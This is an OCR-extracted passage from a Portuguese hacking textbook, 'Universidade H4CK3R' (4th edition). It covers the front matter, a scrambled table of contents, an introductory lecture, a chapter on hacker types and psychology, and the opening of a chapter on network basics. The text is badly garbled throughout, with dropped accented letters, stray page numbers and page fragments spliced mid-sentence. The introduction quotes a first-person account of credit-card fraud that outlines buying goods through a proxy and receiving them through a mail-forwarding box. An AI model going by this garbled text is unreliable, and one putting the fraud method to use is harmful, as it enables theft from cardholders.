Escolar Documentos
Profissional Documentos
Cultura Documentos
Universidad.H4CK3R. .4ta - Edicion.editorial - Digerati
Universidad.H4CK3R. .4ta - Edicion.editorial - Digerati
unlversloao
Jniversidade
H4CK3R I
Contedo extra
No Co: alm das ferramentas hackers, voc encontra os apndices do livro
em formato POF na ntegra.
Na Internet: basta se cadastrar no site www.digerati.comllivros para ter acesso s atualizaes, erratas e ao material que preparamos especialmente para
complementar seus estudos. Atravs da pgina voc tambm poder enviar
e-mails com dvidas, crticas ou sugestes para o editor ou para os autores.
universidade
4a EDICAO
,
HENRIQUE
CESARULBRICH
JAMESDELLAVALLE
I Universidade
H4CK3R I
Simone
Ribeiro de Carvalho,
Autores:
Ulbrich, Henrique Cesar
Della Valle, James
Universidade Hacker
- 4a Edio
12 andar
Diretores
141
Prefcio
I Universidade
H4CK3R I
Luis Matos
161
Sumrio
Prefcio
Parte I
15
17
18
19
- Mocinho ou vilo
20
20
21
22
- Bem-vindo s aulas
1. PsicoLogia Hacker
~ o verdadeiro hacker e o hacker
25
mostrado na mdia
- Ei!Isso importante!
~ Por que algum gastaria tempo e dinheiro numa invaso?
26
28
30
30
31
31
32
33
2. RedesI
35
~ 1ntrod uo
36
36
- Conceituao
37
~ Estrutura fsica
- Equipamento
adicional
38
Abrangncia
~ Topolog ias
38
39
- Principais topologias
~ Protocolos
- Como funcionam
39
41
42
Matrioshka
~ Ethernet
~ Omodelo OSI
- Camadas
- Um exemplo prtico
~ SPX/ IPX
- Camadas
~ NetBIOS / NetBEUI/ 5MB/ CIFS
- Camadas
~AppleTalk
- Camadas
44
45
47
47
50
52
52
53
54
55
55
171
I Universidade
H4CK3R
~ TCP1iP
- Camadas
- Entendendo o TCP/!P
- Oprotocolo /P
- Endereo /P
- Mscara de Rede
- TCP/UDP
- Portas
- DNS
- ARP
~ Laboratrio de Redes I
- VVtndows9.x
55
55
56
56
57
57
57
57
57
57
58
59
...
3. PLataformaWindows
63
~ As "famlias" Windows
- Famlia VVtn9x
- Famlia VVtnNT
~ Nos bastidores
- Estrutura
- Entidades
64
6465
66
66
68
76
76
77
78
79
80
81
,
83
"
4. PLataformas Unix
Estrutura
- Sistema de arquivos
~ O cerne da questo
- Dispositivos
- Processos Ino, no papo de advogado I
- 5; poderia me fazer um favor?
- Comunicao entre processos
- SInais e semforos
~ Na praia catando mexilhes
- MInha coleo de conchas
- Script for a .Jesters tear
- Todos os segredos esto no/etc
- /nittab and the Runlevels (parece banda de rock, mas no ...
181
85
o modelo
......
86
87
88
89
89
90
90
93
95
96
97
98
99
101
102
102
103
103
- Outras gemas
~ O meu eu quero de flocos...
- Free as in free speech
- A dana dos pingins
- Odiabinho que rL
~Vou can go your own way...
...
105
106
106
107
108
108
5. Fundamentos Jurdicos
111
112
113
114
115
118
118
119
119
119
120
123
124
125
... 125
125
, 125
... 126
- Ataque direto
- Ataque indireto
~ Mtodos utilizados
- Disfarces
- Olixo rico I
,
- Funcionrios descontentes e redes de contatos
126
127
- O apelo
sentimental.
127
- Programao neurolingstica.
-A utilizao da Internet
- Ofator sorte
- Navegando no mar proIbido
~ Casos rea is
- Abraham Abdallah
- Kevin Mitnick
127
127
128
128
,...
,
...
129
129
7. VuLnerabiLidades I
~ Noes de vulnerabilidade
- Superlammers e sua viso de Raio-X
128
131
132
"
133
,
134
136
136
136
138
141
141
143
191
I Universidade
H4CK3R I
- Scanner de vulnerabilidade
- Exploits
~ EmTria, como os gregos...
~Asfalhas desegurana mais comuns em micros domticos
- TCPSYNScanningversusWndows
98
- Compartilhamentos em computadores Wndows (SMB/ClFS)
-
145
146
148
148
148
151
151
152
153
153
,... 154
11
Universidade
8. Redes
2 Ano: O caminho
de um Voyager
155
II
157
~ TCP/IP: o incio
~ 051 versus TCP/IP
-
144
150
Parte
158
159
~ Protocolo
IP
- O pacote IP
- Endereamento
- Redes e Hosts
~ Protocolo TC P
IP
- Opacote TCP
- Portas TCP
- Os bits de controle TCP
~ Protocolo UOP
~ Protocolo ICMP
~ Laboratrio de Redes 1I
~ Rotea mento
~ Internet
~ Sub- red es
~ Redes Wi reless
- Rdio
- IEEE 802.11
- Infravermelho
- Bluetooth ...
- 6SM
- 2,56
- 36
- W'Fi'
160
160
161
164
165
166
167
169
171
172
173
176
178
179
179
180
180
180
180
181
181
181
181
181
9 Vulnera biLidades II
183
~ Navegando anonimamente
- Proxies pblicos
- Proxies privados
- Squid
,..
...
- WinGate .
~Anonymous remailers
~ Furando firewalls
- Firewa!!s
- Filtros de pacotes
- Proxies
- Filtros de pacotes por estado (SPF/
- Pesquisando as regras do filtro de pacotes
~ Servidores Web
- Apache
- Sun ONE/iPlanet
- Microsoft Internet Information Services (115/
- Common Gateway Interface (CGI/
- PHP e ASP
,...
~ Defacements
~ Banco de Dados
- Conectando diretamente via Internet
- Senhas na Web (teoria x prtica/
~ Estamos todos vulnerveis?
Parte
203
204
204
205
209
111
um Hacker
11.
185
185
188
190
190
191
193
194
194
196
197
197
198
199
199
200
201
202
~ Engenharia Social
~ A 9ra nd e teia
- O Google seu amigo
- At tu, Brutus?
- Quem esse cara?
~ Sign your na me across my heart
~ Defesa e contra-ataque
211
213
214
217
221
223
225
226
227
227
229
229
230
232
235
236
237
240
/11 /
I Universidade
H4CK3R
240
241
...
...
"""""""""""""""'"
Um amontoado de coisas...
Quebrandosenhas no Unix
Novamente,'Attu,Brutus?"
112 I
242
243
243
243
244
247
248
249
249
251
252
252
253
257
259
263
264
265
267
268
268
269
270
273
275
277
282
285
286
290
293
295
297
298
305
306
306
307
309
313
314
315
316
319
319
- Vrusaindaindetectveis .,
319
Apndices
320
323
326
326
327
328
329
331
331
334
335
337
,... 338
339
345
346
347
,.. 347
347
348
no CD
113 I
Universidade 10 Ano:
Aula Inaugural
caPtuLoO
''ideologia. Eu quero
uma pra viver!"
Cazuza
I Universidade
H4CK3R I
Aula inaugural
"Meu crime a curiosidade, subestimar os mais poderosos mesmo quando
errados. Meu crime saber tudo sobre todos, ser mais esperto. Estou preso,
mas por uma causa justa".
A frase acima foi proferida por um hacker que foi preso acusado de tentativa
de extorso. Ela no somente reveladora de seu pensamento, mas, de forma
geral, expressa o pensamento de boa parte da comunidade hacker.
Na maioria das vezes, o que move um hacker em suas incurses por sistemas
alheios a adrenalina produzida pelo risco combinando com a satisfao da vitria.
Muitos pensam que esto em uma guerra, na qual matar ou morrer significa
invadir ou no o sistema.Tudo tem de ser bem pensado para conseguir o objetivo
fmal e o risco algo que aumenta a adrenalina. Quanto mais difcil, melhor.
Poderamos dizer que o hacker somente uma pessoa em busca do
conhecimento, de desvendar mistrios, de invadir a linha do inimigo para saber
seus segredos e alertar a todos sobre o que viu?
No, certamente no. Estamos desconsiderando um fator muito importante.
Imagine voc tomar contato com o nmero do carto de crdito de 10 mil
pessoas, ou mesmo ter acesso a informaes extremamente sigilosas sobre
empresas. Poucos resistiriam tentao de fazer uso dessas informaes. Alguns
pensariam: vou usar somente um nmero de carto uma nica vez e depois eu
paro. como uma pessoa se vicia na droga, no? Uma primeira vez, uma segunda,
e quando v no consegue se livrar do vcio.
Sem contar que o hacker tambm tem de lutar contra sua vaidade. Invadir
somente no tem nenhum mrito se os outros no ficarem sabendo. No
verdade? A a vida do hacker comea a se complicar.
JI
Aulainaugural[
realmente
o mito hacker
Muito mais do que um especialista, o hacker considerado por muita gente
como um criminoso. Aquele indivduo do qual as empresas devem se proteger,
pois ele pode a qualquer momento invadir sua rede de informao provocando
srios prejuzos. tambm aquela pessoa que pode vir a roubar dados, senhas e
nmero de cartes dos usurios que fornecem essas informaes para as
empresas nas quais fazem compras.
Essa imagem alimentada por alguns grupos hackers que agem
verdadeiramente como criminosos, e apossando-se de dados confidenciais e
fazendo uso destes. Veja este relato:
"O maior golpe foi a compra de trs laptops de uma vez na Semp Toshiba, que
foi feita normalmente, num sbado noite.Abri meu Opera, pus meu proxy e fui s
compras. Bom, o total foi 14 mil dlares, e a compra foi aceita, parcelada no
119 I
]Aula
inaugural
I Universidade H4CK3R I
carto em 6 vezes. Mas o dono do carto cancelou e meu pedido no veio (essa
parte a pior: cancelamento da compra). Mas isso foi h muito tempo, no incio.
Agora, ns compramos muitos livros, softwares, domnios, notebooks, etc.
Uma das minhas compras bem-sucedidas foi de um CD-ROMe um monitor de
1T, tela plana, com valor de 2 mil dlares, mas no fiquei com nada, vendi.
No caso da compra na Semp Toshiba, que foi cancelada um dia depois, o
endereo da entrega era da lanbox (lanbox um P.O. Box dos EUA que
redirecionado ao seu endereo verdadeiro), e a entrega do CD e do monitor foi
na casa de um amigo..." 2
Mocinho ou vilo?
Como tudo na vida, no possvel generalizar os diferentes tipos de hackers, nem
rotular todo esse imenso grupo da mesma forma.Tambm imprescindvel destacar
que os hackers, mesmo que algumas vezes involuntariamente, acabam ajudando a
revelar bugs em softwares e problemas existentes em redes, que poderiam resultar
em graves conseqncias para usurios de redes corporativas ou da Internet.
Um exemplo disso foi dado em um dos maiores ataques cibernticos da histria
realizado em outubro de 2002, que derrubou boa parte dos principais servidores
dos EUA.Ele mostrou alguns furos importantes na segurana da Internet, que
so at conhecidos. Mas tambm revelou outra coisa: a superconcentrao de
servidores nos Estados Unidos. Apesar de ser uma rede que chega a quase todos
os pases do mundo, ainda 70% das mensagens passam por servidores ou
roteadores norte-americanos. No estamos mais nos velhos tempos, em que a
quantidade esmagadora de internautas era americana. Portanto, mudanas devem
ser feitas seguindo o esprito que criou a prpria Internet: a descentralizao da
comunicao. Alis, isso um importante fator de segurana bsico, mas
totalmente esquecido. Quando a maior parte do trfego da Internet fica
concentrada em pouco mais de dez superservidores, fica mais fcil organizar
um superataque. "Nunca coloque todos os ovos no mesmo cesto." 3
20
Aula inaugural[
Avalanche de ataques
Todos sabemos que h vrios fatores que contribuem para a intensa atividade
hacker. Para comear, h muitos sites inseguros. Um estudo do Gartner Group
estima que 2/3 dos servidores da Web no mundo podem ser invadidos de alguma
forma. Outro fator que estimula a atividade hacker a ampla disponibilidade de
ferramentas de ataque na Internet. Qualquer adolescente com tempo livre e
conhecimentos tcnicos medianos consegue encontrar as informaes e os
softwares necessrios para uma invaso. Mas o principal motivo ainda a
impunidade. Os poucos policiais que investigam crimes digitais no Brasil no
conseguem atender a todos os casos. Alm disso, a falta de uma legislao
especfica dificulta a punio do culpado, se bem que alguns hackers podem ser
enquadrados com base no Cdigo Penal de acordo com o crime praticado.
Para se ter uma idia da quantidade de aes hackers, um estudo da
Universidade da Califrnia mostrou que os hackers tentam realizar mais de 4
mil ataques do tipo DoS (Denial ofService) todas as semanas, um nmero bastante
impressionante e que mostra que h muito do que se proteger no mundo virtual.
]Aula
21
inaugural
I Universidade
H4CK3R I
Bem-vindo s aulas
"Na hora de tentar invadir um site, meu corao disparava e a adrenalina ia a
mil por hora. O medo de ser pego, junto com a perspectiva de vitria e sucesso,
causava uma euforia tamanha que no d para descrever. Depois que todo mundo
fica sabendo do seu feito, a s curtir a fama".
Relatos como esse, feito por hackers, podem at pintar um mundo cheio de
aventura e emoo para quem invade sites e sistemas. Mas a verdade que no
bem assim. Nas prximas pginas voc ter a oportunidade de conhecer muito
desse universo hacker, aprendendo a teoria e exerccios prticos para quem
deseja dominar as tcnicas hackers. Nem seria preciso dizer que nosso objetivo
formar pessoas extremamente conhecedoras em informtica que possam usar
esses conhecimentos
para trabalhar
com segurana,
desvendando
vulnerabilidades e buscando solues.
Organizamos os assuntos ao longo do curso de forma a preencher as
necessidades do aluno. Entretanto, entendemos que muitos j "iniciados" vo
ler este livro. Portanto, separamos os assuntos em trs grandes grupos: prrequisitos, hackerismo bsico e hackerismo avanado. Deixamos no livro
impresso os assuntos sobre hackerismo, e o que consideramos como "prrequisito" (programao, sistemas operacionais e hardware ) inclumos no CDROM como apndices.
Assim, suprimos as necessidades de quem est comeando "do zero" e no
penalizamos o "iniciado" com pginas cheias de coisas que ele j sabe.
O uso indevido das informaes aqui prestadas, bem como de informaes
apresentadas em qualquer livro, seja ele sobre redes, servidores de Internet,
sistemas operacionais, programao e outros, so de inteira responsabilidade de
quem as utilizou. Vale lembrar que no momento em que este livro foi redigido j
estava em vigor a nova lei de crimes digitais no Brasil e a Homeland Security Act
nos Estados Unidos. Alm disso, preciso considerar que todos os infratores
esto sujeitos legislao do Cdigo Penal e do Cdigo Civil no pas.
Portanto, aproveite as prximas pginas para ampliar seus conhecimentos em
diferentes tpicos do mundo da informtica e para se tornar um verdadeiro
especialista em segurana. E, o principal, use com responsabilidade este
conhecimento.. .
Luis Matos
~2 I
Aula inauguraq
Captulo
I.As citaes deste livro esto todas em suas lnguas originais, exceo
desta. Como foi um discurso nas Naes Unidas (e, portanto, oficialmente
traduzido para vrias lnguas), preferimos coloc-Ia em portugus.
I Universidade
H4CK3R
Sim, ns sabemos. Voc comprou este livro para obter informaes tcnicas.
Mas ns no adotamos esse modelo de curso universitrio toa: existem certas
coisas fora da esfera tecnolgica que voc precisa conhecer, mesmo que no
esteja muito interessado nelas. Assim como na faculdade de Direito estudamos
economia e na de Engenharia Eltrica estudamos administrao, aqui em nosso
Universidade 1ano
Um outro exemplo talvez seja mais esclarecedor. Imagine um ataque terrorista no Pas Basco, regio da Espanha. O ataque foi realizado por guerrilheiros do
grupo separatista basco ETA,visando independncia do que julgam ser sua
terra. A notcia poderia ser veiculada da seguinte forma:
"Uma bomba explodiu hoje em um supermercado em Madri, matando 90
pessoas e deixando feridas outras 174. Um basco, guerrilheiro do grupo separatista ETA,assumiu o atentado".
Nesse pargrafo est implcita a idia de que todo basco guerrilheiro e pertence ao ETA.O sujeito da orao basco e no guerrilheiro do ETA.Deixando
a frase dessa forma, dizemos que quem explodiu a bomba foi um cidado basco
que tem como adjetivo ser guerrilheiro do ETA.Uma notcia como esta poderia
ser melhor escrita da seguinte maneira:
"Uma bomba explodiu hoje em um supermercado em Madri, matando 90
pessoas e deixando feridas outras 174. Um guerrilheiro do grupo separatista
basco ETA assumiu o atentado".
Pronto! Agora temos a palavra guerrilheiro como sujeito da orao. Esse guerrilheiro tem como adjetivo a orao "do grupo separatista basco ETA".Ou seja,
ele , sim, basco. Mas no necessariamente todo basco tem a obrigao de ser
membro do ETA.
Um outro exemplo: um padre acusado de pedofilia. A manchete poderia
ser "padre processado por pedofilia, estupro e seduo de menores". De maneira
anloga dos hackers, poder-se-ia depreender da que h uma nova categoria de
tarados chamados padres. Obviamente isso no verdadeiro, mas o que a
redao sem cuidado pode fazer por uma categoria profissional decente.
A imprensa comeou a prestar mais ateno aos hackers no [mal da dcada
de 80. Supomos que os primeiros jornalistas que escreveram manchetes sobre
ataques digitais tinham a inteno de usar a palavra em seu sentido correto.
Entretanto, construes frasais ambguas certamente levaram os leitores, ouvintes e telespectadores a associar erroneamente a palavra hacker com o significado de criminoso digital. Tal erro nunca foi corrigido, e hoje vemos o significado incorreto do termo sendo consagrado.
Aquela manchete da nossa revista ficaria melhor se reescrita assim: "Em setembro de 2000, um especialista em informtica usou seus conhecimentos de
hacker para invadir uma indstria de brinquedos britnica...". Talvez a manchete pudesse ser mantida, mas um esclarecimento no primeiro pargrafo (ou mesmo em um dos olhos da matria) seria necessrio.
Este livro, a contragosto dos autores, simplifica o termo hacker para seu
significado popular e incorreto: criminoso digital. Sabemos que no do interesse da comunidade hacker que esta confuso continue. Para fins didticos
usaremos o termo popular, mas sempre com ressalvas dentro do texto ou no
rodap da pgina.
1271
] Psicologia
Hacker
I Universidade
H4CK3R
128 I
2 No usamos aqui o termo "castas"porque ficaria subentendito que no h mobilidade entre elas, como
na civilizao Indiana Brmane. Apesar de no gostarem que outros hackers subam na hierarquia, o
objetivo de todo hacker exatamente este: aperfeioar-se tcnica, social e politicamente.
3 Uma descrio de como o vocbulo luser foi criado pode ser encontrado (em ingls) no Jargon File:
http://www.ianwnflle.comzianwnlbtmI/entry/luser.htmI.Alis.
o Jargon File pode ser usado para obter os
signilicados de qualquer tenno relacionado tecnologia e ao comportamento hacker usado neste livro.
Psicologia Hacker r
Universidade 1 ano
mente pelo trio de programas que ele sempre emprega: scan, exploit e trojan.
- Wannabe (ou wannabee) - A palavra foi usada pela primeira vez na mdia nos
anos 80 para se referir aos tas da cantora Madonna que se vestiam e agiam tentando
imitar seu dolo. De maneira semelhante, os wannabees da informtica so usurios
comuns que almejam ser hackers. O termo pode ser usado de duas maneiras, uma
positiva e outra pejorativa. Quando usado de forma positiva, wannabe o indivduo
que j leu bastante e est prestes a entrar no que chamamos de latval stage (ou
"entrar no casulo"). Na forma pejorativa, wannabe exatamente o tipo que descrevemos nos primeiros pargrafos deste captulo: algum que quer entrar nesse fantasioso
mundo mstico chamado hackerismo, mas no tem a mnima idia do que se trata.
- Larva! stage - literalmente, estgio larval, tambm chamado de spawn. o
perodo de isolamento total pelo qual o candidato a hacker tem de passar
para, no fmal do processo, "nascer de novo" como programador. Note que possuir habilidade em programao condio fundamental para ser considerado
hacker, mesmo no sentido popular da palavra. O estgio larval restringe-se
programao e pode durar de seis meses a dois anos.
No fmal deste estgio, o programador adquire uma sapincia quase esotrica,
embora a possibilidade de nunca mais voltar a uma vida normal seja o preo a
pagar. Voc pode ser um programador competente sem passar por isso. Entretanto, nunca chegar a ser um mago do cdigo.
- Hacker - Essapalavra andou um longo caminho at chegar aqui. Originalmente
(segundo o Jargon File) denominava carpinteiros que faziam mveis com machados
4 Segundo o Jargon File, uma caracterstica dos wannabes justamente o uso excessivo dos termos que
estamos apresentando neste captulo. No verbete h ainda uma interessante nota histrica sobre a evoluo do signiflcado da palavra.
1291
]Psicologia Hacker
I Universidade
H4CK3R
te especializado
em quebrar as travas de softwares comerciais para poder
pirate-Ios (chamados de warez-dOOdz), mas tambm usa seus conhecimentos
para invadir sites e computadores
com objetivos ilcitos, como vandalismo ou
roubo. Muitas vezes os crackers so excelentes programadores
e podem criar
programas que infectem ou destruam completamente
sistemas alheios sem
deixar vestgios - os lamers normalmente
usam programas
criados pelos
crackers. Mas a grande maioria pouca coisa mais esperta que os lamers. A
diferena que os crackers so persistentes: conhecem e fazem uso de uma
mirade de ferramentas para explorar vulnerabilidades
conhecidas nos sistemas que querem invadir. Um lamer age por impulso e no sabe o que est
fazendo. Um cracker sabe o que faz e, mesmo sendo um hacker medocre, tem
noes suficientes para "se virar" caso algum imprevisto
ocorra.
- Phreaker - o cracker dos sistemas telefnicos.
Possui conhecimentos
avanados de eletrnica e telefonia (principalmente
sobre sinalizao telefnica) e pode fazer chamadas de qualquer local sem pagar por elas. Os mtodos
de fraude incluem transferir as faturas para outros nmeros (vlidos ou no),
modificar telefones pblicos para conseguir crdito ilimitado ou mesmo enganar a central telefnica para que ela no faa o billing.
- Carder - o especialista em fraudes com cartes de crdito. Sabe como
conseguir listas de cartes vlidos em sites que os utilizam (sites de compras,
de chat pago, etc.), gerar nmeros falsos que passam pela verificao e mesmo
roubar e clonar cartes verdadeiros.
- War driver
vulnerabilidades
elas. Os war drivers europeus foram mais longe e criaram o war chalking, que
consiste em desenhar com giz no cho smbolos que indicam a melhor posio
de conexo para outros war drivers.
Aprendizado
Os hackers so neurticos em sua busca por conhecimento. Qualquer informao, por mnima que seja, uma jia rara. Cada novo sistema, linguagem de progra-
130 I
Psicologia Hacker r
Universidade 1 ano
Comprometimento
Uma das caractersticas comuns a todos os hackers o que coloquialmente
chamamos de bitolao. Eles so aficionados em tudo o que envolve computadores, programao, conectividade e tecnologia da informao. E o so ao ponto de
relaxar na aparncia, deixar de comer, de tomar banho e de dormir durante dias
para terminar um programa importante ou conseguir invadir aquele site famoso.
O larva!stage a que nos referimos anteriormente um bom exemplo do comprometimento que o hacker tem por seu trabalho, seja ele remunerado ou no
(mesmo hackers que o fazem por hobby referem-se ao hackerismo como trabalho). Outro exemplo o chamado hack mode. Quando um programador ou analista de sistemas entra em hack mode, todos os recursos de seu corpo e crebro
esto alocados para a tarefa na qual ele pretende hackear. Isso inclui um grande
poder de concentrao e de abstrao. Quando um hacker est em hack mode,
perfeitamente aceitvel que ele levante a mo para outras pessoas em sinal de
"pare", sem dizer uma palavra, impedindo assim que a linha de raciocnio seja
quebrada. Interromper o raciocnio de um programador enquanto ele est criando sinnimo de apagar todo o seu trabalho: ele ter de recomear do zero.
Outro exemplo do comprometimento dos hackers o descuido quanto
carreira. Muitos programadores e especialistas em sistemas recusam promoes
nas empresas onde trabalham porque isso acarretaria desloc-Ios para reas
administrativas e gerenciais. De fato, quase que mensalmente lemos nas revistas
especializadas entrevistas com diretores de informtica que desabafam com o
reprter sua saudade da poca em que "colocavam as mos na massa".
Com pa rti Lhamento
Hackers de qualquer espcie (os do MIT e os do Crime Boyz) tambm tm
em comum a necessidade de compartilhar conhecimento e recursos. Isso inclui
escrever software com cdigo aberto e livre acesso, divulgar 100% do conhecimento que possui para a comunidade, facilitar o acesso a essas informaes a
qualquer interessado e disponibilizar, sempre que possvel, recursos de computao e de rede.
Essa uma paisagem que pode ser vista por diferentes janelas. Os hackers
tradicionais (ou seja, segundo o significado correto da palavra) pregam o
131 I
I
Psicologia Hacker
I Universidade
H4CK3R I
5 Literalmente, "porta de trs". um programinha que o invasor deixa na mquina invadida para sempre
ter acesso a ela, mesmo que o administrador tape a brecha pela qual o hacker entrou. como abrir novos
buracos para entrar porque o primeiro fatalmente ser consertado pelo dono do muro.
1321
PsicologiaHacker[
Universidade 1 ano
o extrema ("a terriflc bore", como nos disse Lord.Aztael.js), o hacker mais
velho se agremia a cls, tem um pseudnimo vistoso e .1)!6!74 u7!1!z4nl)0
35<!:r!7413376 com o objetivo de despistar autoridades e continuar annimo.
Esse o problema. As listas de vulnerabilidades de sites como o Security
Focus ou o Linux Security possuem apenas os problemas descobertos pelos
pesquisadores ou divulgados pelos crackers. Mas no se engane: mais de 80%
das vulnerabilidades esto em listas privadas de cls hackers, fora as outras
tantas que so conhecidas apenas por indivduos. Confiar apenas nas listas
pblicas alimentadas por gente que foi invadida e por crackers que liberam as
vulnerabilidades muito antigas no uma atitude l muito sbia.
Isto posto, se voc est lendo este livro pensando em segurar melhor sua
empresa, necessariamente ter de descer ao submundo digitaF e ser um deles.
No pense jamais em ser agente duplo, entretanto: sua rede nunca mais ser
deixada em paz se descobrirem que voc deu um "copiar/colar" da lista de
vulnerabilidades deles para seu site de segurana preferido.
6 "Digitar utilizando escrita leet". O 1337 54:r!p7 uma forma de escrever utilizando smbolos alternativos disponveis no teclado, ou seja, apenas no conjunto de caracteres ASCII estendido.
7 Muitos referem-se a ele com o nome oficial de "Digital Underground".
1331
] Psicologia
Hacker
Redes
caPtulo2
'For mi!lions ofyears, man have lived just
like the animaIs. And then something
happened, that unleashed the power of our
imagination: we learned to talk.'
Stephen Hawking, cientista, em um
comercial da AT&T.
I Universidade
H4CK3R I
Introduco
I
Conceituao
As tecnologias que evoluram do telgrafo e da telefonia para tornarem-se o
que conhecemos hoje como redes de computadores possuem vrios aspectos
que devem ser analisados para que nossos projetos de redes sejam eficientes e
seguros. Alguns desses aspectos bsicos so:
~ Estrutura fsica: os componentes de hardware (mecnicos ou eltricos)
que compem uma rede. Simplificando a definio, podemos dizer que tudo
aquilo que voc pode tocar.
2 Os norte-americanos clamam para si a inveno do telgrnfo, reabnente levado a cabo por Samuel Morse em
1838 (e patenteado por ele em 1840). Mas na dcada anterior, em 1830, cientistas ingleses j haviam reproduzido
em laboratrio a teoria que um misterioso colega escocs havia proposto 70 anos antes, em 1750. Na opinio dos
autores, foi esse escocs annimo (ele assinou seu relatrio apenas com as iniciais, CM) que inventou o telgrnfo.
1361
Redes
1[
Universidade 1 ano
Estrutura fsica
Existem diversos tamanhos e tipos de redes, mas o ponto de partida para
elas o mesmo: a necessidade de comunicao entre dois ou mais computadores. As formas de conexo podem ser as mais variadas, desde pares de cabos
comuns e de baixo custo, passando pelos cabos coaxiais e fibras ticas at
equipamentos sem fio. H ainda outros componentes utilizados para expandir
a capacidade da rede. Entre esses componentes, podemos destacar:
~ Servidor: mquina central responsvel pela disponibilizao de recursos
e servios na maioria das redes. Sua funo agir como fonte de dados para as
configuraes da rede, armazenamento de dados e plataforma para rodar
aplicativos, alm de possuir mecanismos de autenticao e controle de acesso
- evitando assim que usurios acessem recursos no-autorizados. Existem diversos tipos de servidores, sua escolha depende da necessidade e do tamanho
da rede em que ser instalado.
~ Cliente: a mquina que utilizar a rede em questo. com ela que o
usurio vai acessar os recursos disponveis, como servios, programas e dispositivos de armazenamento no servidor, em outras mquinas cliente ou em dispositivos autnomos como faxes ou impressoras remotas.
~ Cabos: so o meio fsico por meio dos quais os dados sero transmitidos.
Existem diversos tipos de cabos, e sua escolha vai depender do tipo de rede a
ser instalada, do equipamento que ser utilizado e de quanto o dono da rede
est disposto a gastar.
~ Interface de rede: hardware responsvel pela conexo entre as mquinas,
agindo como porta de entrada e sada para acesso ao "espao pblico" da rede.
1371
] Redes1
I Universidade
H4CK3R I
Equipamento adicional
~ Repetidores: equipamentos que regeneram eletricamente (ou seja, no domnio analgico) o sinal nos meios de transmisso - normalmente cabos eltricos. No se pode usar muitos deles numa mesma rede, pois degeneram o sinal no
domnio digital e causam problemas de sincronismo entre as interfaces de rede.
~ Hubs: unidades que funcionam como ponto central de conexo em uma
rede local. Possuem vrias portas de conexo, cada uma destinada a um computador diferente. Todos os hubs so tambm repetidores.
~ Bridges: possibilitam dividir a rede em segmentos autnomos. Com isso,
consegue-se reduzir o trfego na rede toda, bloqueando dados cujo segmento
de origem e destino sejam os mesmos e deixando passar dados cujo segmento
de destino seja diferente do de origem.
~ Comutadores: tambm chamados de switches, possuem diversas portas,
assim como os hubs.A diferena que, internamente, ele segmenta a rede, sendo cada porta um segmento diferente. A queda no trfego da rede, com a
utilizao de switchs, gritante.
~ Roteadores e Gateways: equipamentos capazes de encaminhar dados
entre duas ou mais redes diferentes. Possuem inclusive uma certa inteligncia,
podendo encaminhar mensagens a redes que no esto diretamente ligadas a
eles. A Internet nada mais do que uma grande malha de roteadores.
Abrangncia
Alm do conhecimento dos componentes isolados que compes uma rede,
necessrio ter uma idia de como elas podem cobrir diferentes reas. Os
nomes de cada categoria, embora consagrados, no so to importantes. Conhecer os diferentes problemas inerentes a cada uma das situaes, entretanto,
primordial para um projeto bem-sucedido.
~ LAN: as famosas redes locais, hoje chamadas de departamentais. Os equipamentos encontram-se geograficamente em um mesmo local, e o nmero de
mquinas pequeno. No h muitos problemas de interconexo.
~ MAN: visa cobrir uma rea urbana com aproximadamente 30 km de raio.
Normalmente composta pela interligao de todas as redes locais de uma
mesma empresa, na mesma regio metropolitana.
~ WAN: redes capazes de alcanar grandes distncias. Seu sinal reforado
sempre para que no haja perda nos dados durante a transmisso dos mesmos.
No caso de redes privadas, uma WAN a interligao das MANs de uma mesma
instituio ou grupo de instituies. Em se tratanto de redes pblicas, a WAN
mais conhecida do mundo a Internet.
J8 I
Redes 1 r
Universidade 1 ano
TopoLogias
Quando falamos em topologias de uma rede, estamos nos referindo ao layout
lgico da mesma. H vrias formas nas quais podemos organizar a interligao entre
cada um dos ns da rede (cada ponto de conexo com a rede pode ser chamado de
n, independentemente da funo do equipamento representado por ele).
H quatro topologias que chamamos de cannicas: ponto-a-ponto, barramento,
anel ou estrela. A escolha da topologia apropriada para uma determinada aplicao depende de diversos fatores, sendo estabilidade, velocidade, confiabilidade
e custo os mais importantes. A distncia entre os ns e o tamanho da rede
tambm so fatores preponderantes.
Principais topoLogias
~ Ponto-a-ponto: tambm conhecida como linear, tem como caracterstica
a disposio em srie dos equipamentos, fazendo com que os dados passem
por todas as estaes que estiverem conectadas, mas apenas a receptora poder reconhec-Ios.
1391
] Redes1
I Universidade
H4CK3R I
Universidade 1ano
Protocolos
Extrado do Novo Dicionrio Aurlio de Lngua Portuguesa:
protocolo. [Do gr. protkollon, 'primeira folha colada aos rolos de papiro, e na
qual se escrevia um resumo do contedo do manuscrito', pelo lat. medo protocollu
e pelo fr.protocole.] S.m. 1. Registro dos atos pblicos. 2. Registro das audincias
nos tribunais. 3. Registro de uma conferncia ou deliberao diplomtica. 4. Formulrio regulador de atos pblicos. 5. Conveno internacional. 6. livro de registro da correspondncia de uma firma, repartio pblica, etc. 7. Bras. Carto ou
papeleta em que se anotam a data e o nmero de ordem com que foi registrado no
livro de protocolo (6) um requerimento, e que serve como recibo. 8. Fig. Formalidade, etiqueta, cerimonial. 9. Inform. Protocolo de comunicao (q. v.). Protocolo de comunicao. 10. Inform. Conjunto de regras, padres e especificaes
tcnicas que regulam a transmisso de dados entre computadores por meio de
programas especficos, permitindo a deteco e correo de erros; protocolo de
transmisso de dados. [Tb. se diz apenas protocolo.] Protocolo de transmisso de
dados. 11. Inform. Protocolo de comunicao (q. v.).
A palavra protocolo possui, ento, diversos significados, tanto na lngua
portuguesa quanto na lngua aceita como universal, o ingls. Trs dos significados chamam a ateno:
3.Registrode umaconfernciaou deliberaodiplomtica.
S. Conveno internacional.
S. Fig. Formalidade, etiqueta, cerimonial.
(protos
= primeiro,
difun-
I Universidade
H4CK3R
Como funcionam
Os protocolos
so, ento, como "frases" que uma interface de rede tem de
dizer para poder se comunicar com as outras. Como a expresso "as outras" da
frase anterior est no plural, deve haver alguma forma de todas as mquinas
conectadas na mesma rede conseguirem, ao "ouvir" uma mensagem, entender
se destinada a elas ou no.
A primeira providncia que um protocolo de redes deve tomar declarar de
qual protocolo estamos falando. Deve haver, em algum lugar no incio da mensagem, um indicador de protocolo.
Lembrem-se: nem sempre existe apenas um
protocolo trafegando pela rede, ento faz-se necessrio identificar a todos.
Considerando que uma mensagem (ou pacote, que o termo tcnico correto
para essa entidade) em uma rede um conjunto de dados originados em um n
e destinados a outro, e que esses dados sero transmitidos
serialmente na forma de bits, coerente afirmar que teremos, no cabo da rede, um "trem" de
pulsos eltricos seqenciais.
